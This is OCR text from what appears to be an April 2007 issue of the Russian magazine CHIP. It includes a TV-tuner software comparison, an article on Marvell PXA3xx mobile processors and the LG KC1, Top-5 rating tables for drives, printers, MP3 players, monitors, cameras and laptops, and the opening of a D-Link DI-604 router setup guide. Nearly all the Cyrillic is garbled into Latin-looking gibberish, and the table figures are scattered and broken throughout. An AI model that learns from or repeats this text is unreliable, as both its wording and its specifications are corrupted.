nporpaivuvia 

DScaler 4.1.1 5 


ChrisTV c iwjm 

Professional 4.99 

CaiiT nporpaMMbi 

http://deinterlace. 

sourceforge.net 

www.asvzzz.com/flyds.htm 

www.chris-tv.com 

H3biK MHTeptpeMca 

aHTJU/lMCKI/IM 

pyCCKI/IM 

pyccKi/ii/i 

OnepaunoHHaH CMdeMa 

Windows 9x/ME/2000/XP 

Windows 9x/ME/2000/XP 

Windows 9x/ME/2000/XP 

ycjiOBMB pacnpodpaHeHMfl 

freeware 

trialware 

trialware 

UeHa 

- 

$30 

$59,95 

noflflepma ny/ibia AY 



+ 



OyHKMMfl BpeivieHHoro cflBMra 

+ 

+ 

+ 

PIP (KapTMHKa B KapTHHKe) 

— 

+ 

+ 

TeaeieKCT 

+ 

+ 

+ 

riJiaHMpOBLUMK 

- 

+ 

+ 

njiracbi nporpaMMbi 

Eojibujoe KOJii/inecTBO 
CpMJlbTpOB 

30cpeKTbi npi/i nepeKJiiOHe- 
h i/i i/i KaHanoB 

LUl/ipOKI/ie B03M0>KH0CTI/I 
AJia 3anncn 

MMHycbi nporpaMMbi 

HeyflodHbm i/imepcheMC 

He o6Hapy>KeHO 

He Bcerfla KoppeKTHO 
onpeflenaei TiOHep 
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HBI? TEST & TECHNICS KoMMyHMKaTopbi 


npeT-a-nopTe 

Ecjim Intel XScale mo>kho 6 buio 6 bi ynofloOmb npoijeccopaM «ot Kyriop», to Hi/mbi kom- 
naHm/i Marvell Ha KOMnbiOTepHOM pbiHKe flcm>KHbi CTaTb npi/nviepHO TeM >Ke, hto m MOfla 
npeT-a-nopTe, to ecTb Bno/iHe yqodHOM npoflyKitweM ajih noBceflHeBHoro ncnojib 30 BaHMfl. 


OaHOKpncTanbHan cxeivia 



MynbTMMeAna, npoiieccopHoe flflpo 


X8, X16NAND 


X16DDR 


VLI0/SRAM 

BHeUlHMe KOMnOHeHTbl 



USB-ycipoMCTBa, 

OTG-ycTponcTBa, 

TpaHCHBepbl 


YCTpOMCTBa 3G 


Hun Marvell 
802.11/Bluetooth, 
mitppoBoe TB 


Kapibi n a math, 
)KecTKiie auckm 


MynbTNMeflNa 11 CPU o 6 mero Ha 3 HaHeHM 5 i 


Xoct USB 1.1 


Xoct USB 1.1 


IlHTeptyeuc X4 
(SSP — HaCTMHHbIM 
napannenii3M) 

MHTepc|]enc X3 
(UART — aciiHxpoH- 

HblH TpaHcuBep) 


MHTeptpetic X3 
(SD/SDIO/MMC) 


HHTeptpe^c 
npenpoueccopa 
Kaiviepbi 
Enhanced 
Quick Capture 


Conpoueccop 
Intel Wireless 
MMX 2 


KoHTponnep n a math 

rinanpopMa 
Wireless Trusted 

Macuna6npyeMoe bapo 
M arvell PXA320 
800 Mru 

AnnapaTHbiu 

Keui Keui 

AaHHbIX KOMaHA 
32 K6aiiT 32 K6aiiT 

axcejiepaTop 
Video, JPEG 

BHyipeHHiiM SRAM 
256 K6auT 

2D-rpa(|niKa, 
MacuiTadupoBa- 
mie, Bpameuue 


YnpaBneHue a/ieKiponmamieivi 
Wireless Intel SpeedStep Technology 


MHTep4)eMC 

I2C 


KoHTponnep 

KjiaBuaiypbi 


HHTeptpenc 

I2S 


nepntpepiifi, 
ncieivia omafli 
JTAG 






Koh 

LCD 

rponnep 

Ancnnen 

IIht 

t 

eptpewc 

tC’97 

Mht 

Poi 

eptpenc 
wer I2C 



s* 

ft 


EMZEZE3 BjiOK-flMarpaMMa apxwTeKTypbi PXA320 


GPS 

T 

KnaBuaiypa, nepeKmonaiemi, Jog Dial, LEDs 

1 

Miixpocxeivia 
ynpaBneHim nmaHueivi 


OT INTEL K MARVELL 

BbiroflHan npoAawa 
nnn noxynxa? 


JleTOM 2006 roaa, Koraa HaOjitoaaTejiH 
BApyr eflHHOflyniHO peninjin, hto npoaaxca 
KOpnopauHeH Intel CBoero nonpa3nejTe- 
hhh no npoH3BoacTBy mo6hjibhbix npo- 
iteccopOB Ha njiaT(J)opMe XScale MoxeT 
03HanaTB nojiHoe (jmacKO aaHHon TexHo- 
jiothh, y cneitnajiHCTOB Marvell 6 bljio 
a6cojiK)THO npOTHBonojioxcHoe MHemie. 
Cyan no BceMy, ea h HCTBe h h oe , Hero He 
xBaTajio b CBoe BpeMH Intel, — oto rpa- 


MOTHoro no3HHHOHHpoBaHHH «Mjiaanmx» 
npoiteccopOB Ha ptiHKe. 

BHHMaTejiBHO npoaHajiH3HpoBaB Tex- 
HHHeCKHe XapaKTepHCTHKH HOBBIX 
HHnoB, moxcho caejiaTB cjieayiomHH 
BaxcHBin BBiBoa: Monahan — oto b 6ojib- 
men CTeneHH npoiteccopBi npHjioace- 
hhh, opneHTHpOBaHHBie aJin pemeHHH 
neTKO onepHeHHLix 3aaan. H hmchho b 
3tom, cyan no BceMy, 3aKjHOHaeTCH CTpa- 
TerHnecKHH njiaH KOMnaHnn Marvell, 
KOTOpan, b OTjiHHHe ot Intel, He co6npa- 
eTCH pemaTB 3aaann no «rjio6ajiBHOMy 
nepeycTponcTBy itncjipOBoro MHpa». 
Haao npH3HaTB, hto nocjie noKymoi y 


Intel TpeTtero noKOJieHHH apxHTeicrypBi 
XScale KOMnaHHH Marvell cyMejia 3a 
KopOTKHH cpoK co3aan> pemeHHe, koto- 
poe npeacTaBjineTCH BnojiHe paOoTOcno- 
C06HBIM H M03CeT 3aHHTB CBOK) HHIIiy Ha 
pBIHKe HHnOB RJUL M06HJIBHBIX yCTpOHCTB. 

HoBBie npoiteccopBi Marvell ceMeii- 
CTBa MXA3XX, noHBjieHHe kotopbix b 
M06hJIBHBIX yCTpOHCTB ax 03CHaaeTCH B 
nepBOH nojiOBHHe 2007 roaa, aonacHBi 
HaKOHeit-TO COCTaBHTB KOHKypeHItHIO 
OTKpOBeHHO CJiaOBIM M 06 HJIBHBIM HHnaM 
Samsung h TI OMAP, KOTOpBie npocTO 
He cnocoOHBi yaoBjieTBOpHTB noTpe6- 
HOCTH COBpeMeHHBIX KOMMyHHKaTOpOB. 
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flBa no Becy OAHoro 

B 2006 rofly KOMnaHMa MarveLL C03fla/ia 
KOMnaKTHbiM h i/i n 88W8688, o6beflMHflio- 
m mm b ce6e flBa OecnpoBOflHbix mo Ay- 
na — Bluetooth 2.0 u Wi-Fi 802.11a/b/g. 
HoBbiM rn6puAHbm nun no pa3MepaM 
noHTM BABoe MeHbiue coBpeMeHHbix 
Bluetooth -MOAy/ieM (ero n/iomaAb — 
Bcero 80 mm 2 ), ucno/ib3yeMbix Ha KOMMy- 
HMKaiopax m Te/iec|)OHax. I/I, hto ocodeH- 
HO Ba>KHO M 06 wibHblX yCTpOMCTB, 
oh noTpe6/iaeT MeHbiue 3Heprmi. 
Heo6xoAHMO TaK>Ke OTMeimb, hto nun 
88W8688, KaK m npoueccopbi Monahan, 


BbinouHeH c coOuiOAeHMeM TexHO/iomHec- 
KMX HopM 90 hm. KaKMX-/in6o TeXHOJlOrM- 
necKMX HOBLuecTB ABHHbiM nun b ce6e He 
HeceT, 3aio no3BO/iaeT npon3BOAMTe/iaM 
M 06 n/lbHblX yCTpOMCTB 3KOHOMMTb AparO- 
AeHHoe BHyipeHHee npocipaHCTBO v\ yBe- 
UMHMBaTb BpeMfl aBTOHOMHOM paOOTbl. 
TaKHM o6pa30M, 88W8688 OTKpbiBaeT 
HOBbie B03MO>KHOCTM pj\R npMMeHeHMfl 
Wi-Fi b coTOBbix TeuecjDOHax. y>Ke b nep- 
bom no/iOBMHe 2007 roAa mo>kho o>km- 
AaTb noaB/ieHHa nepBbix MoOmibHbix 
ycTpoMCTB Ha ero ocHOBe. 


0C06EHH0CTI/I APXI/ITEKTyPbl 

HOBblM him 
A JIB HOBbIX cetew 


OcHOBHaa 3aAaaa Monahan — ohthmh- 
3HpOBaTL H yCKOpHTB pa60Ty KOMMyHH- 
KaTOpOB H CMapT(J)OHOB. 

B ocHOBe npon;eccopoB Marvell hoboh 
cepnn aeacHT MacinTa6npyeMoe aApo, 
TaKOBan aacTOTa pa6oTBi KOTOporo 
MoaceT AOCTnraTB 658 MRi (b moac- 
aax PXA300 n PXA310) n 800 MTu 
(tojibko b TonoBon MOAejin PXA320). 
MeacAy TeM bo BpeMa AeMOHCTpaiiHH, 
KOTOpBie npOBOAHjia eme KOMnaHHa 
Intel, CKOpocTB Monahan Aocrarana 
1,2 rrn;, hto AaeT HaM npeACTaBjieHne o 

nOTeHIIHaJIBHBIX B03M0aCH0CTHX hoboh 
apxHTeKTypBi, BBinojiHeHHOH c co6jho- 
AeHHeM TexHOJioranecKHx HopM 90 hm. 
KoHenHO, Mo6HJiBHBie npoiieccopBi bbi 
H e CMoaceTe pa3orHaTB cbmh, xax oto 
A enaeTca Ha aecKTonax, aa b otom h HeT 
Heo6xoAHMOCTH. Bee Tpn MoaejiH otoh 
jiHHeHKH ocHameHBi TexHoaoraeH noa- 
CTpOHKH TaKTOBOH HaCTOTbl B 3aBHCHMOC- 
th ot 3arpy3KH h BBinojiHHeMBix 3aaaH. 
flaa ycKOpeHHH pa6oTBi c MyjitTHMeAHa b 
npoueccope Hcnoab3yeTca xopoino H3Bec- 
THaa BceM TexHonoma Intel MMX 2. 

B MHKpOCXeMBI cepHH PXA HHTerpHpo- 
BaHBi HHTep(J>eHCBi AHcneTHepa naMara 
NAND, niHHBi USB 2.0 h HHTepcbeiic 
QuickCupture, no3BOJiHiomHH pa6oTaTB c 
4>oto- h BHAeoxaMepaMH c pa3pemeHHeM 
MaTpHABi ao 5 MeranHKcejieH. KpOMe 
Toro, B HHnbI BCTpOeHa B03M05KH0CTB 
nOAKJHOneHHH K COTOBbIM TeJie(t)OHHBIM 
ceTHM TpeTtero nomreHiia h noAAepacKa 
60JIBIHHHCTBa COBpeMeHHBIX CTAHAapTOB 
nepH(j)epHHHBix ycTpohcTB: decnpOBOA- 
HBie MOAyJIH OCHOBHOH nOJIOCBI naCTOT, 

DVB-H, Wi-Fi, WiMAX, Bluetooth 2.0. 

JXsin ycKOpeHHH padoTbi c BHAeo b crap- 
nieii MOAejiH PXA320 ototo ceMeiicTBa 
npOHeccopOB 6 blji annapaTHO peajiH30BaH 
rpa4)HuecKHH ycKOpHTejit, no3BOJiaiomHH 
BOCnpOH3BOAHTB BHACO B KOACKe H.264 CO 
CKOpocTBio 30 KaApOB/c b rpacbHKe VGA. 
3 to OTKpbiBaeT HOBBie B03MOXCHOCTH no 
C03AaHHK) MyjIBTHMeAHHHBIX KOMMyHH- 
KaTOpoB c VGA-AHcmieaMH. 

A ecjiH ko BceMy OTOMy Ao6aBHTB, hto 
Be6-CTpaHHu;Bi Ha ycTpoitcTBax, co3AaH- 
hbix Ha 6a3e Marvell PXA 3XX, OTKpbiBa- 


iotc a 6biCTpee xax MHHHMyM b nojiTOpa 
pa3a, to CTaHOBHTca noHaTHbiM CTpeMjie- 
HHe BeAyUXHX pa3pa60THHK0B KOMMyHH- 
KaTopOB h CMapTchoHOB cKopee 3anycTHTb 
HOBbie npou;eccopbi b AeJio. 


LG KC 1 

MOlUHOCTb M CKOpOCTb 

no MaKCMMyMy 


K MOMeHTy HanncaHHa otoh CTaTbH 
ToabKO KopencKaa KOMnaHHa LG ycneaa 
aHOHCHpOBaTb Mo6nabHoe ycTponcTBo Ha 
6a3e npou;eccopa Monahan. B ocHOBe LG 
KC1 — npopeccop Marvell PXA320 (koao- 
Boe HaHMeHOBaHHe Monahan- P) c TaKTO- 
boh aacTOTOH 806 MLj. KoMMyHHKaTOp 
pa6oTaeT noA ynpaBaeHHeM onepau;HOH- 
hoh CHCTeMbi Windows Mobile 5.0 Pocket 
PC Phone Edition, hto yKa3biBaeT Ha ero 
pa3pa6oTKy eine ao noaBaeHHa Windows 
Mobile 6.0. Ho cymecTByeT BeponTHOCTb, 
hto b npOAaacy oh nocTyrarr yace c hoboh 
onepau;HOHHOH cncTeMOH. 


LG KC1 ocHameH ceHCOpHbiM Ancnae- 
eM 2,8 AioiiMa co CTaHAapTHbiM pa3peme- 
HHeM 240x230 ToaeK. Yctpohctbo pacno- 
aaraeT coaHAHbiM 3anacoM BCTpoeHHOH 
naMHTH: 128 M6aiiT RAM h 512 M6aiiT 
ROM, KpOMe toto, HMeeTca caoT Aaa KapT 
naMam chopMaTa micro SD. Oahhm H3 
caMbix npHMeaaTeabHbix KaaecTB ototo 
ycTpoiicTBa aBaaeTca to, hto oho MoaceT 
padoTaTb b ceTHx WiMAX. Peab, pa3yMe- 
eTca, hact o ModnabHOM BapnaHTe IEEE 
802. 16e. LG KC1 b decnpOBOAHbix ceTax 
Mobile WiMAX cnocodeH nepeAaBaTb 
AaHHbie Ha ckopocth ao 10 M6ht/c. Hto 
ace KacaeTca cotobbix cereH CTaHAapTa 
CDMA, to 3Aecb TexHoaoma EV-DO 
odecneaHBaeT cxopocTb ao 2,4 M6ht/c. 

CaMbiM o6hahbim j\im pocchhckoto 
noab30BaTeaa aBaaeTca to, hto KC1 
npeAHa3HaaeH AJin padoTbi b cotobbix 
ceTax CDMA (pa3yMeeTca, Ha aacTOTe 
800 Mrn;, a He CDMA-450, Kax y 
Skylink), hto cpa3y cboaht k Hyaio ero 
maHCbi Ha pocchhckom pbiHKe. 

■ ■■ Ceprew KoHflpaiueB 
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TEST-CENTER 

INTERNATIONAL 


Slymuue npoAyxTbi 


CHIP 


AKTya/ibHbm o63op KOMnbiOTepHoro 1/1 ai/ic|DpoBoro pbiHKa: 
BOcnojib3yi/iTecb nmm pewTi/mroM KaK mctohhmkom 6ecnpn- 
CTpacTHbix peKOMeH,qauMM npn BbiOope HOBbix ycTpowcTB. 


M li npoAOJDKaeM TmaTejibHO H3y- 
naTb ycTpoftcTBa, KOTOpbie nocTy- 
naiOT Ha HcnbiTaTejibHbie CTeH- 
Rbi Hanieft TecTOBOH jia6opaTopHH. A sto 
H eMHoro-HeMajio nopnaxa 1500 o6pa3u;oB 
b roa. CeroaHH b Hanien 6a3e coaep>KHTca 
6ojiee 40 KareropHH, h k hhm peryjrapHO 
AoOaBjiHiOTCH HOBbie. Ta6jiHn;bi pyGpHKH 
Top 5 coaepxaT ocHOBHyio HH^opMaanio 
no Ka>i<AOMy h 3 ycTponcTB: nojiyneHHbie 
no pe3yjibTaTaM TecTHpoBaHnn 6ajuibi, 

CTOHMOCTb H OCHOBHbie TeXHHHeCKHe 
napaMeTpbi — 3aecb ecTb Bee HeoOxoan- 
MOe, HT 06 bI npHHHTb OKOHHaTeJIbHOe 
peineHne npn BbiGope. 


nopnaoK pa3MemeHHe ycTponcTB b Ta6- 
jinn;e onpeaejineTcn oOmen ohchkoh. npn 
paBHOM KOJinnecTBe GajuioB aonojiHH- 
TejibHO y^HTbiBaeTCH cooTHomeHne aeHbi 
n KanecTBa, KOTOpoe oaeHHBaeTcn no 
naTHOajuibHOH niKajie: otjimhho, xopoino, 
cpen He, yao bjt ctbop HTeji b h o, mioxo. 

HtoGh Bbi6op jiynrne OTBenaji BaniHM 
noTpeOHOCTHM, oOpamanTe BHHMaHne 
Ha oaeHKH, BbicTaBjieHHbie 3a Kaxabin H3 
napaMeTpoB, n Ha yKa3aHHbie xapaicre- 
pHCTHKH. Beab BbicoKan CKopocTb nena- 
th npHHTepa Oki C5600N MoaceT 6biTb 
BaxHee rjw Bac, ne m aem h xanecTBO 
nenara Epson Aculaser Cl 100. ssi? 


Coflep>KaHMe 


BHyipeHHMe npi/iBOflbi DVD-RW 

127 

HepH0-6enbie Jia3epHbie npi/iHTepbi 

127 

MP3-njieepbi (1 r6aMT) 

127 

17-flK)MM0Bbie >KK-M0Hl/IT0pbl 

127 

ym/iBepcajibHbie uwcppoBbie KaMepbi 

128 

KaMepbl CTOI/IMOCTbK) 0K0J10 $1000 

128 

>KecTKi/ie fli/iCKi/i 2,5 AKMMa 

128 

MP3-nneepbi (2-15 raaiiT) 

128 

UBeTHbie Jia3epHbie npi/imepbi 

129 

HoyiOyKM 

129 

CTM/ibHbie uncppoBbie KaMepbi 

129 

Cy6Hoyi6yKi/i 

129 



HaLUM OLJGHKM 


6o/iee 90 6an/iOB: otjii/ihho 

ot 76 flo 90 OamiOB: oneHb xopomo 


ot 56 ao 75 OamiOB: xopomo 




s±\ 
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BHyipeHHMe npMBOflbi DVD-RW 


o 

1— 

o 

as 

S 

-Q 

5 

5 

cc <5 
X 03 

S = ar 

O O 

</> 

CO 

03 

=T 

o 

CO 

1- 

° 

11 

3anucb DVD-R 
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1 

LG GSA-HION 

99 

33 

OTfll/IHHOe 

MOO 

MOO 

97 

100 

16x/8x 

16x/6x 

12x/12x 

2 

Samsung SH-S182M 

98 

36 

xopomee 

99 

97 

93 

98 

18x/8x 

18x/6x 

12x/12x 

3 

Samsung SH-S182D 

97 

33 

OTJlI/IHHOe 

98 

97 

88 

98 

18x/8x 

18x/6x 

12x/12x 

4 

Samsung SH-S183A 

97 

38 

xopomee 

97 

96 

94 

98 

18x/8x 

18x/6x 

12x/12x 

5 

LG GSA-H20L 

97 

36 

xopomee 

97 

91 

92 

100 

16x/8x 

16x/6x 

5x/5x 



LG GSA-HION 


LG GSA-HION othocmtoi k Tuny BHyipeH- 
HI/IX OnTMHeCKMX npMBOflOB C JIOTOHHOM 
3arpy3KOM r\ac Ka. 3 to ycrpoMCTBO K/iacca 
SuperMuLti no3BOjmeT nmaTb m 3anncbi- 
BaTb amckm c/ieflyKDUMx Ti/inoB: DVD±R/ 
RW, CD-R/RW i/i DVD-RAM (6e3 KapipMfl- 
wen). Mofle^b OT/iMHaeTCfl xopouiMM Ka- 
necTBOM 3anncn i/i HTeH M53 DVD, a TaiOKe 
HM3KI4M ypOBHeM LUyMHOCTI/1, HTO flBJlfleT- 
C51 HeCOMHeHHbIM n/llOCOM. 


Brother HL-5240 


KoMnaKTHbiM i/i MOUHbiM npMHTep nena- 
TaeT c pa3pemeHneM 1200x1200 ToneK 
Ha fllOMM H CKOpOCTbK) 28 CTpa H I/I 14 B MM- 
Hyiy. Mofle/ib ocHameHa oahmm cjiotom 
SO-DIMM (144 KOHTaKTa), no3BOJi5HomnM 
HapacTi/iTb naMATb ao 528 M6aPiT. Taione 
MMeeTca CTaHAapTHbm napa/uie/ibHbm 
nopT l/l BbICOKOCKOpOCTHOM USB 2.0. 
OT/ii/iHi/iTe/ibHafl oco6eHHocib ycTpoPic- 
TBa — HM3KI/IM ypoBeHb myMa. 





HepH0-6ejibie Jia3epHbie npwHTepbi 
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Brother HL-5240 

94 

250 

xopomee 

99 

98 

92 

4,5/1 ,7 

28 

1200x1200 

2 

Samsung ML-3051N 

94 

430 

yflOBn. 

99 

95 

100 

7,5/26 

28 

1200x1200 

3 

HP LaserJet P2015n 

87 

450 

HeyflOB/i 

98 

82 

84 

7, 5/3, 2 

26 

1200x1200 

4 

Oki B4250 

86 

240 

yAOB/i. 

98 

91 

64 

10,6/3,4 

22 

1200x1200 

5 

Lexmark E340 

86 

260 

yAOBn. 

82 

100 

84 

8,2/1 ,4 

28 
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MP3-njieepbi (1 fdaMT) 
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Cowon iAudio U3 (1Gb) 

88 

145 

yAOB/i. 

99 

66 

21:00 

100 

91 

81 

1024 

iRiver U10 (1 Gb) 

84 

250 

n/ioxoe 

94 

71 

28:05 

80 

94 

69 

1024 

Cowon iAudio U2 (1 Gb) 

79 

130 

n/ioxoe 

86 

76 

18:55 

74 

82 

57 

1024 

TEAC MP-400 (512 Mb) 

77 

130 

yAOB/i. 

88 

72 

11:50 

65 

83 

71 

512 

Apple iPod NANO (1 Gb) 

76 

180 

nnoxoe 

84 

61 

15:30 

77 

83 

62 

1024 


Cowon iAudio U3 


rnra6aMTHbm n/ieep Cowon iAudio U3 jim- 
AMpyeT npaKTi/inecKi/i no BceM napaMeipaM 
KpoMe Mo6i/i/ibHocn/i. TFT-Ai/icn/ieM c pa3- 
peiueHMeM 160x128 m/iKce/ien cnoco6eH 
OTo6pa>KaTb ao 262 000 orreHKOB. I"lpn 
cpaBHMTe/ibHo He6o^biuoM pa3Mepe 3KpaHa 
3Toro KO/iMHecTBa ABeTOB Bno/iHe Aocra- 
tohho pj\s{ KanecTBeHHOM KapTMHKn. TaK>Ke 
n/ieep no3BO/i*ieT npocMaipMBaib TeKCTbi, 
M3o6pa>KeHM5i m bi/i A eoc(DaM/i bl . 


Samsung SyncMaster 740T 


Samsung SyncMaster 740T — 3to ot/ihh- 
Haa MaipMua PVA c KJiacci/iHecKi/iM coot- 
HoiueHMeM CTopoH 4:3. flocToiiHoe Ka- 
HeCTBO M3o6pa>KeHM5l, BbICOKMM KOHTpaCT, 
MHO>KeCTBO yCTaHOBOK — BK/llOHafl Ha- 
CTpoMKy raMMbi, HacbitAeHHOCTi/i n orreH- 
Ka ABeia. I"lpn 3 tom Ancn/ieM 06/iaAaeT 
cpeAHeu 5ipKOCTbio (214 ka/m 2 ). 
MaKCHMa^bHoe pa3peweHne MOHmopa 
cocTaB/meT 1280x1224 ToneK. 



17-flHDMMOBbie >KK-M0HMT0pbl 
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Samsung SyncMaster 740T 

91 

340 

yAOB/i. 

100 

1127:1 

214 

25 

77 

1280x1224 

PVA 

ViewSonic VX724 

85 

300 

yAOB/i. 

96 

743:1 

306 

7 

65 

1280x1024 

TN+Film 

BenQ FP71V+ 

85 

350 

yAOB/i. 

88 

578:1 

381 

10 

80 

1280x1024 

TN+Film 

BenQFP71V 

85 

350 

yAOB/i. 

93 

663:1 

292 

7 

80 

1280x1024 

TN+Film 

iiyama ProLite E1700S 

84 

270 

OTJlI/IHHOe 

90 

552:1 

249 

8 

68 

1280x1024 

TN+Film 
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HBI? TEST & TECHNICS Top 5: nyHLiine npoflyKTbi 


Panasonic Lumix DMC-LX2 


Panasonic DMC-LX2 5i B/i5ieTC5i oneHb 
yflaHHon 10-MeranMKce/ibHon KOMnaKT- 
HOM UMCfipOBOM KaMepOM. Ee 0 C 06 eHH 0 C- 
tm — wnpoKoyro/ibHbm o6i>eKTMB 28 mm 
i/i Maipmja cjiopMaTa 16:9. 1/lMeeTca 
B03M0>KH0CTb no/iHo^yHKpnoHa/ibHoro 
pyHHoro ynpaB/ieHi/ia, BK/noHaa pyMHyio 
cj30KycnpoBKy i/i pyHHyio yciaHOBKy Bbi- 
Aep>KKn, KOTopbie MoryT n/iaBHO pery/in- 
pOBaTbCfl C nOMOlAbK) A>KOMCTMKa. 



MP3-njieepbi (2-15 T 6 aMT) 
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Cowon iAudio 6 

89 

270 

HeyflOB/i. 

93 

72 

17:30 

97 

100 

77 

4 

2 

Samsung YP-K5Q 

87 

220 

HeyflOB/i. 

96 

100 

33:00 

86 

65 

77 

2 

3 

Apple iPod nano II 8GB (MA497) 

85 

250 

HeyflOB/i. 

79 

97 

24:30 

87 

79 

67 

8 

4 

Samsung YP-Z5Q 

84 

140 

yflOB/i. 

94 

90 

25:30 

88 

64 

67 

2 

5 

Cowon iAudio F2 

84 

170 

HeyflOB/i 

73 

82 

20:35 

98 

87 

77 

2 


Cowon iAudio 6 


KoMnam/ia Cowon npoAO/UKaeT/iMAMpo- 
BaTb b KaTeropMM MP3-njieepoB. MoAe/ib 
iAudio 6 ocHaiueHa CTaHAapmbiM Ha6o- 
poM cjoy h K 14 M m : BdpoeHHbiM ahktoc(doh, 
3anncb c /lMHeMHoro BxoAa, FM-TioHep n 
MHO>KeCTBO BOCnpOM3BOAMMblX ((DOpMaTOB. 

3tot n/ieep TaK>Ke 06 /iaAaeT c|)yHKUi/ien 
npocMOTpa rpacjDMMecKMx n TeKCTOBbix 
c|DaM/iOB. MMHyc iAudio 6 — AOdaTOHHO 
HM3KMM ypOBeHb M06l/1/lbH0CTM. 


128 


CHIP I AnPEJlb 2007 






. tm. 



UBeTHbie Jia3epHbie npwHTepbi 
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HP Color LaserJet 3600 N 

92 

760 

yAOBJi. 

97 

99 

68 

7, 9/2, 3 

17/17 

600x600 

2 

Oki C5600N 

89 

630 

yAOBJi. 

88 

100 

87 

9,8/3, 1 

32/20 

2400x600 

3 

Epson Aculaser Cl 100 

85 

450 

0TJ1I/IHH0 

100 

66 

83 

8,8/0 

25/5 

1200x600 

4 

Lexmark C522 

82 

650 

YAOBJi. 

99 

60 

92 

10,4/5 

19/19 

1200x1200 

5 

Samsung CLP-510 

80 

460 

OTJlI/IHHOe 

87 

56 

90 

7, 5/2, 5 

24/6 

600x600 


HP Color LaserJet 3600N 


ripMHTep HP Color LaserJet 3600N noiec- 
hmji /inAepa 5iHBapcKoro cnncKa /lyHwnx 
npoAyKTOB. CeroAH5UUHMM no6eAme^b 
ocHameH npoueccopoM VLIW Fujitsu 
FRV555 c HacroTOM 360 MTu n naMATbio 
64 M6anT. Oh nenaiaeTAO 17 crpaHMA 
b MMHyiy — KaK b abcthom, TaK m nepHO- 
6e/iOM pewMMax. rioAK/iKHaeTCfl k n K 
nepe3 nopT USB 2.0 n 06/iaAaeT bo3mo>k- 
HOCTbK) nenaTM nocpeACTBOM Bluetooth. 


DellXPS M1710 (Core 2 Duo) 





BceM — ot BHemHero bma3 ao ocHame- 
hma — DellXPS M1710 ag m o h cip m pyei 
CBoe ^MAMpyfonee no/ioweHne. flaHHaa 
MOAe/ib yKOMn/ieKTOBaHa npopeccopoM 
Intel Core Duo c HacroTon 2,33 rr^ B\Af\eo- 
n/iaion NVIDIA GeForce GO 7900 GTX c 
oO^beMOM BMAeonaM5iTH 512 M6anT m 17- 
AfOMMOBblM AMCn^eeM. ripM CpaBHMTe/lb- 
ho He6o/ibiuMx ra6apmax (39,4x28,7 cm) 
Hoyi6yK Aoeo/ibHO Tawe/ibiM — 4 Kr. 


CM/ibHbie CTopoHbi Cyber-shot N2 — bto 
pa3pemeHMe 10,1 MeranMKce/ia, BbicoKaa 
HyBCTBMTe/lbHOCTb, 3-AfOMMOBblM >KK- 
3KpaH Clear Photo Plus c ceHcopHbm yn- 
paB/ieHneM m o6T>eKTMB Carl Zeiss c on- 
TMHecKMM yBejiMHeH i/ieM 3x. 3ia MOAe/ib 
06/iaAaeT cpeAHen CKopocrbio CbeMKM, 
HO XOpmueM 3prOHOMMHHOCTbfO. EMKOCTb 
aKKyMy/iflTopa paccHMTaHa Ha 300 KaA- 
poB mjim 3,5 naca HenpepbiBHOM CbeMKM. 


Sony VAIO VGN-TX3XRP/B 




BbicoKOTexHO/iori/iHHbm, zierKMM m npon- 
HbiM Hoyi6yK Sony VAIO VGN-TX3XRP/B 
M3 yrnepoAHoro BOJiOKHa BecoM Bcero 
1,25 kt MO>KeT pa6oiaib ot 6aTapeu ao 
7,5 nacoB. 3ia MOAe/ib ocHameHa npo- 
ueccopoM Core Solo U1400 c HM3KMM 
3Hepronoipe6^eHMeM m nacTOTOM 
1,2 TTa. flono/iHme/ibHbiM n/iioc stom 
MOA e/lM — CBepXTOHKMM npMBOA c nOA" 
Aep>KKOM DVD±RW DL. 
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PRAXIS CeTeBbie TexHonornn 




B 3T0H CTaTbe 


HacTpoMKa npoTOKO/ia TCP/IP 
1/lmepHeT 1/1 oOmafl noKa/ibHafl ceTb 
ToHKa^i HacTpoi/iKa poyiepa 
BoccTaHOBJieHi/ie noc/ie c6oeB 


MmepHeT 


>Kene3Ha5i 

CB5l3b 


CETb nPOBAMflEPA 



KaK HayHMTbca tohkom HacipoMKe poyiepa? Mbi noMO>KeM 
pa3o6paibca c oco6eHHOCTflivM KOHcf)Mrypcmm/i caMoro 
npodoro m He,qopororo ycipowcTBa — D-Link DI-604. 



0M3MHECKOE n 0 fl K J1 tt) H E H M E 

Pa 36 npaeMCfi c Ka 6 enaMn 


IlepBblH 3Tan HaCTpOHKH — 3TO npaBHJTb- 
Hoe noAKnoneHne caMoro ycTponcTBa. 


Sm^BbiBOA 

■ D-Link DI-604 — MapuipyTM3aTop 
«AJia jieHMBbix». DiaBHoe, hto ot Bac 
noTpe6yeica, — 3 to npaBn/ibHO ckoh- 
c|DnrypnpoBaTb ero Bcero oahh pa3: 
noc/ie rpaMOTHoPi HacrpoMKM npo 3 to 
ceieBoe ycrpoMCTBO mowho 3a6biTb. 
BcnoMHmb o cyiAecTBOBaHMM poyiepa 
npnAeTca mnbKO b tom c/iynae, ec/in 
Baiua ceTb pa3pacTeTca ao 15-20 n K. 
Bot TorAa y>Ke npon3BOAHTe/ibHOCTM 
3 toto poyiepa OKaweTca HeAOcraTOH- 
ho, m BaM Hy>KHO 6yAei noMeHaib ero 
Ha 6o/iee cepbe3Hoe ycrponcTBO. 


K me3Ay, KOTOpoe o6o3HaHeno Ha poyre- 
pe Kax «WAN», Heo6xoAHMO noAKJiiOHHTb 
ceieBOH Ka6ejib co ctopohbi npoBanaepa, 
a bot tot naiH-KOpA Ha^o oahhm kohijom 
noACoeAHHHTb k nopTy DI-604, 060 - 
3HaneHHOMy AHCppoii «1», a ApyrHM — 
k ceTeBoir njiaTe Ha KOMnbioTepe. 

Ilocjie noAKJHOHeHHa ceTeBbix Ka6ejieir 
HacTynaeT OTBeTCTBeHHbiir momcht — 
noACoeAHHeHHe k ceTH. Ecjih Bee npo^e- 
jiaHO npaBHjibHO, to Ha jnmeBOH naHejin 
MapmpyTH3aTopa DI-604 6yayT ropeTb, 
KaK MHHHMyM, TpH 3eJieHbIX OTOHbKa. 
Ecjih He ropHT hh oahoto, BHHMaTejib- 
ho noBepbTe u;enb mrraHHH. Ecjih He 
ropHT jiaMnoHKa «WAN», o6paTHTecb k 
CB oeMy HHTepHeT-npOBaHAepy — nycTb 
oh npOTecTHpyeT (J)H3HHecKyio jihhhio 
B arnero noAKjnoneHHii. Ecjih He ropHT 
HHAHKaTOp «1», BHHMaTejibHO npOBepb- 
Te Bam nam-KOpA. 


HACTPOMKA CETEBOM n/lATbl 

Ecjih He cpa 6 an>iBaeT 

aBTOMaTHKa 


Tenepb HaM HaAO hoakjhohhtbch k 
